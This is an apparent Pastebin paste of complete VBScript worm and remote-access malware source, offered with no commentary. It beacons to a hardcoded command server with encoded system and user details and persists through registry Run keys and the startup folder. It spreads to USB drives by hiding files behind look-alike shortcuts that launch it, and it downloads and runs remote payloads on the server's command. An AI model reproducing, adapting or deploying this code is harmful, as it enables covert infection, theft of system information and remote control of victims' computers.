Advertisement
Guest User

1

a guest
Mar 22nd, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Haxe 13.78 KB | None | 0 0
  1. gate = "http://tawerohoo.tk/gate.php"
  2. UserAgent = "1"
  3. ConnectionKey = "1"
  4. ConnectionTime = 45000
  5.  
  6. dim shellobj
  7. set shellobj = wscript.createobject("wscript.shell")
  8. dim filesystemobj
  9. set filesystemobj = createobject("scripting.filesystemobject")
  10.  
  11. InstallDir = "%APPDATA%"
  12. InstallName = wscript.scriptname
  13. lnkfile = true
  14. lnkfolder = true
  15. startup = shellobj.specialfolders ("startup") & "\"
  16. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  17. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  18.  
  19. on error resume next
  20. while true
  21. call Install
  22. call usb
  23. call getCommand(Gate, UserAgent, ConnectionKey)
  24. wscript.sleep ConnectionTime
  25. wend
  26.  
  27. Function GetSetting(AppName, Section, Key)
  28.     On Error Resume Next
  29.     GetSetting = shellobj.RegRead("HKEY_CURRENT_USER\Software\VB and VBA Program Settings\" & AppName & "\" & Section & "\" & Key)
  30. End Function
  31.  
  32. Function SaveSetting(AppName, Section, Key, Setting)
  33.    On Error Resume Next
  34.     shellobj.RegWrite "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\" & AppName & "\" & Section & "\" & Key, Setting, "REG_SZ"
  35. End Function
  36.  
  37. Function os()
  38.     On Error Resume Next
  39.     If inf = "" Then
  40.         Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  41.         Set os = root.ExecQuery("select * from win32_operatingsystem")
  42.         For Each osinfo In os
  43.             inf = inf & osinfo.Caption & spliter
  44.         Exit For
  45.         Next
  46.         If Split(inf, "Microsoft ")(1) = "" Then
  47.             os = "Unknown"
  48.         Else
  49.             os = Split(inf, "Microsoft ")(1)
  50.         End If
  51.     End If
  52. End Function
  53.  
  54. Function GetRAM()
  55.    On Error Resume Next
  56.     Dim objWMIService, objComputer, colComputer
  57.     Dim strLogonUser, strComputer
  58.     strComputer = "."  
  59.     Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\\"& strComputer & "\root\cimv2")
  60.     Set colComputer = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
  61.     For Each objComputer in colComputer
  62.         GetRAM = objComputer.TotalPhysicalMemory/(1024*1024) & " MB"
  63.     Next   
  64. End Function
  65.  
  66. Public Function GetTotalSpace()
  67.    On Error Resume Next
  68.     Set objWMIService = GetObject("winmgmts:")
  69.     Set objLogicalDisk = objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'")
  70.     GetTotalSpace = objLogicalDisk.size/(1024*1024*1024) & " GB"
  71. End Function
  72.  
  73. Public Function GetGPU()
  74.    On Error Resume Next
  75.    Dim List, msg, object
  76.    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_VideoController")
  77.    If List.Count > 0 Then
  78.        For Each object In List
  79.            If LenB(object.VideoProcessor) > 0 Then
  80.                msg = msg & object.Caption
  81.            End If
  82.        Next
  83.    Else
  84.        msg = ""
  85.    End If
  86.    GetGPU = msg
  87. End Function
  88.  
  89. Public Function GetProcessor()
  90.    On Error Resume Next
  91.    Dim List, msg, object
  92.    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
  93.    If List.Count > 0 Then
  94.        For Each object In List
  95.            msg = msg & object.Name
  96.        Next
  97.    Else
  98.        msg = ""
  99.    End If
  100.    GetProcessor = msg
  101. End Function
  102.  
  103. Function GetAV()
  104.    On Error Resume Next
  105.    GetAV = ""
  106.    Set objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  107.    Set colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem", , 48)
  108.    For Each objitem In colitems    
  109.        versionstr = Split(objitem.version, ".")
  110.    Next
  111.    versionstr = Split(colitems.version, ".")
  112.    osversion = versionstr(0) & "."    
  113.    For X = 1 To UBound(versionstr)        
  114.        osversion = osversion & versionstr(i)
  115.    Next
  116.    osversion = osversion
  117.    If osversion > 6 Then sc = "securitycenter2" Else sc = "securitycenter"
  118.    Set objSecurityCenter = GetObject("winmgmts:\\localhost\root\" & sc)
  119.    Set colantivirus = objSecurityCenter.ExecQuery("select * from antivirusproduct", "wql", 0)
  120.    For Each objantivirus In colantivirus        
  121.        GetAV = security & objantivirus.DisplayName & " ."
  122.    Next    
  123.    If GetAV = "" Then GetAV = "No Antivirus"    
  124. End Function
  125.  
  126. Function A_C()
  127.    On Error Resume Next
  128.    Dim ProcessorSet
  129.    Dim CPU
  130.  
  131.    Set ProcessorSet = GetObject("Winmgmts:"). _
  132.        ExecQuery("SELECT * FROM Win32_Processor")
  133.    For Each CPU In ProcessorSet
  134.        A_C = CStr(CPU.AddressWidth)
  135.    Next
  136. End Function
  137.  
  138. Function hwid()
  139.    On Error Resume Next
  140.    Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  141.    Set disks = root.ExecQuery("select * from win32_logicaldisk")
  142.    For Each disk In disks    
  143.    If disk.volumeserialnumber <> "" Then        
  144.        hwid = disk.volumeserialnumber        
  145.        Exit For    
  146.    End If
  147.    Next
  148. End Function
  149.  
  150. Function sXOR(sText, sKey)
  151.    On Error Resume Next    
  152.    Dim i, s, k    
  153.    For i = 1 To Len(sText)
  154.        s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
  155.    Next
  156. End Function
  157.  
  158. Function HEXEncode(xData)
  159.    On Error Resume Next
  160.    Dim iChar, sOutString, sTmpChar
  161.    For iChar = 1 To Len(xData)
  162.        sTmpChar = Hex(Asc(Mid(xData, iChar, 1)))
  163.        If Len(sTmpChar) = 1 Then sTmpChar = "0" & sTmpChar
  164.        sOutString = sOutString & sTmpChar
  165.    Next
  166.    HEXEncode = sOutString
  167. End Function
  168.  
  169. Function Install()
  170.     On Error Resume Next
  171.     shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  172.     shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  173.     filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  174.     filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  175. End Function
  176.  
  177. Function usb()
  178.     on error resume next
  179.     dim lnkobj
  180.     dim filename
  181.     dim foldername
  182.     dim fileicon
  183.     dim foldericon
  184.  
  185.     for each drive in filesystemobj.drives
  186.  
  187.     if  drive.isready = true then
  188.         if  drive.freespace  > 0 then
  189.             if  drive.drivetype  = 1 then
  190.                 filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  191.                 if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  192.                     filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  193.                 end if
  194.                 for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  195.                 if not lnkfile then exit for
  196.                 if  instr (file.name,".") then
  197.                     if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  198.                         file.attributes = 2+4
  199.                         if  ucase (file.name) <> ucase (installname) then
  200.                             filename = split(file.name,".")
  201.                             set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  202.                             lnkobj.windowstyle = 7
  203.                             lnkobj.targetpath = "cmd.exe"
  204.                             lnkobj.workingdirectory = ""
  205.                             lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  206.                             fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  207.                             if  instr (fileicon,",") = 0 then
  208.                                 lnkobj.iconlocation = file.path
  209.                             else
  210.                                 lnkobj.iconlocation = fileicon
  211.                             end if
  212.                         lnkobj.save()
  213.                     end if
  214.                 end if
  215.                 end if
  216.                 next
  217.                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  218.                 if not lnkfolder then exit for
  219.                 folder.attributes = 2+4
  220.                 foldername = folder.name
  221.                 set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  222.                 lnkobj.windowstyle = 7
  223.                 lnkobj.targetpath = "cmd.exe"
  224.                 lnkobj.workingdirectory = ""
  225.                 lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  226.                 foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  227.                 if  instr (foldericon,",") = 0 then
  228.                     lnkobj.iconlocation = folder.path
  229.                 else
  230.                     lnkobj.iconlocation = foldericon
  231.                 end if
  232.                 lnkobj.save()
  233.                 next
  234.             end If
  235.         end If
  236.     end if
  237.     next
  238.     err.clear
  239. End Function
  240.  
  241. Sub getCommand(panel,user,ckey)
  242.     On Error Resume Next
  243.     dim objHttp, strURL, strText, ID   
  244.     ID = GetSetting("Microsoft", "Windows", "ID")
  245.     strURL = panel
  246.         Set objHttp = CreateObject("MSXML2.ServerXMLHTTP") 
  247.     objHttp.Open "POST", strURL, False
  248.     objHttp.setRequestHeader "User-Agent", user
  249.     objHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"    
  250.     If ID <> "" Then
  251.         objHTTP.send ("pc=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%COMPUTERNAME%"), ckey)) & "&admin=" & HEXEncode(sXOR(GetAV, ckey)) & "&os=" & HEXEncode(sXOR(os, ckey)) & "&hid=" & HEXEncode(sXOR(hwid, ckey)) & "&arc=" & HEXEncode(sXOR(A_C & "-Bits", ckey)) & "&user=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%USERNAME%"), ckey)) & "&fw=" & HEXEncode(sXOR("Lite", ckey)) & "&ram=" & HEXEncode(sXOR(GetRAM, ckey)) & "&cpu=" & HEXEncode(sXOR(GetProcessor, ckey)) & "&gpu=" & HEXEncode(sXOR(GetGPU, ckey)) & "&hd=" & HEXEncode(sXOR(GetTotalSpace, ckey)) & "&id=" & HEXEncode(sXOR(ID, ckey)))
  252.     Else
  253.         objHTTP.send ("pc=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%COMPUTERNAME%"), ckey)) & "&admin=" & HEXEncode(sXOR(GetAV, ckey)) & "&os=" & HEXEncode(sXOR(os, ckey)) & "&hid=" & HEXEncode(sXOR(hwid, ckey)) & "&arc=" & HEXEncode(sXOR(A_C & "-Bits", ckey)) & "&user=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%USERNAME%"), ckey)) & "&fw=" & HEXEncode(sXOR("Lite", ckey)) & "&ram=" & HEXEncode(sXOR(GetRAM, ckey)) & "&cpu=" & HEXEncode(sXOR(GetProcessor, ckey)) & "&gpu=" & HEXEncode(sXOR(GetGPU, ckey)) & "&hd=" & HEXEncode(sXOR(GetTotalSpace, ckey)))
  254.     End If
  255.     strText = objHttp.ResponseText
  256.     If Left(strText, 3) = "id|" Then   
  257.         call SaveSetting ("Microsoft", "Windows", "ID", Split(strText, "|")(1))  
  258.     ElseIf Left(strText, 3) = "DL|" Then
  259.         call downloader (Split(strText, "|")(1), Right(strText, 3))
  260.     ElseIf Left(strText, 3) = "DD|" Then
  261.         call downloader (Split(strText, "|")(1), Right(strText, 3))
  262.     ElseIf Left(strText, 3) = "UP|" Then
  263.         if LCase(Right(strText, 3)) = "exe" then
  264.             call downloader(Split(strText, "|")(1), Right(strText, 3))
  265.             sleep 3000
  266.             call uninstall
  267.         else
  268.             call Update(Split(strText, "|")(1))
  269.             shellobj.run wscript.scriptfullname
  270.             wscript.quit
  271.         end if
  272.     ElseIf Left(strText, 3) = "VV|" Then
  273.         shellobj.run "Explorer " & Split(strText, "|")(1)
  274.     ElseIf Left(strText, 3) = "VH|" Then
  275.         shellobj.run "iexplore " & Split(strText, "|")(1),0,true
  276.     ElseIf Left(strText, 3) = "UN|" Then
  277.         call uninstall
  278.     End If
  279.     Set objHttp = Nothing
  280. End Sub
  281.  
  282. Function downloader (fileurl,fext)
  283.     On Error Resume Next
  284.     strlink = fileurl
  285.     strsaveto = installdir & "run" & "." & fext
  286.     kill strsaveto
  287.     set objhttpdownload = createobject("msxml2.xmlhttp" )
  288.     objhttpdownload.open "get", strlink, false
  289.     objhttpdownload.send
  290.  
  291.     set objfsodownload = createobject ("scripting.filesystemobject")
  292.     if  objfsodownload.fileexists (strsaveto) then
  293.         objfsodownload.deletefile (strsaveto)
  294.     end if
  295.  
  296.     if objhttpdownload.status = 200 then
  297.         dim  objstreamdownload
  298.         set  objstreamdownload = createobject("adodb.stream")
  299.         with objstreamdownload
  300.             .type = 1
  301.             .open
  302.             .write objhttpdownload.responsebody
  303.             .savetofile strsaveto
  304.             .close
  305.         end with
  306.         set objstreamdownload = nothing
  307.     end if
  308.     if objfsodownload.fileexists(strsaveto) then
  309.         shellobj.run objfsodownload.getfile (strsaveto).shortpath
  310.     end if
  311. End Function
  312.  
  313. Function uninstall()
  314.     On Error Resume Next
  315.     dim filename
  316.     dim foldername
  317.  
  318.     shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  319.     shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  320.     filesystemobj.deletefile startup & installname ,true
  321.     filesystemobj.deletefile wscript.scriptfullname ,true
  322.  
  323.     for  each drive in filesystemobj.drives
  324.         if  drive.isready = true then
  325.             if  drive.freespace  > 0 then
  326.                 if  drive.drivetype  = 1 then
  327.                     for  each file in filesystemobj.getfolder ( drive.path & "\").files
  328.                         on error resume next
  329.                             if  instr (file.name,".") then
  330.                                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  331.                                     file.attributes = 0
  332.                                     if  ucase (file.name) <> ucase (installname) then
  333.                                         filename = split(file.name,".")
  334.                                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  335.                                     else
  336.                                         filesystemobj.deletefile (drive.path & "\" & file.name)
  337.                                     end If
  338.                                 else
  339.                                     filesystemobj.deletefile (file.path)
  340.                                 end if
  341.                             end if
  342.                     next
  343.                         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  344.                             folder.attributes = 0
  345.                         next
  346.                 end if
  347.             end if
  348.         end if
  349.     next
  350.         wscript.quit
  351. End Function
  352.  
  353. Function Update(fileurl)
  354.     On Error Resume Next
  355.     strlink = fileurl
  356.     strsaveto = installdir & InstallName
  357.     kill strsaveto
  358.     set objhttpdownload = createobject("msxml2.xmlhttp" )
  359.     objhttpdownload.open "get", strlink, false
  360.     objhttpdownload.send
  361.  
  362.     set objfsodownload = createobject ("scripting.filesystemobject")
  363.     if  objfsodownload.fileexists (strsaveto) then
  364.         objfsodownload.deletefile (strsaveto)
  365.     end if
  366.  
  367.     if objhttpdownload.status = 200 then
  368.         dim  objstreamdownload
  369.         set  objstreamdownload = createobject("adodb.stream")
  370.         with objstreamdownload
  371.             .type = 1
  372.             .open
  373.             .write objhttpdownload.responsebody
  374.             .savetofile strsaveto
  375.             .close
  376.         end with
  377.         set objstreamdownload = nothing
  378.     end if
  379. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement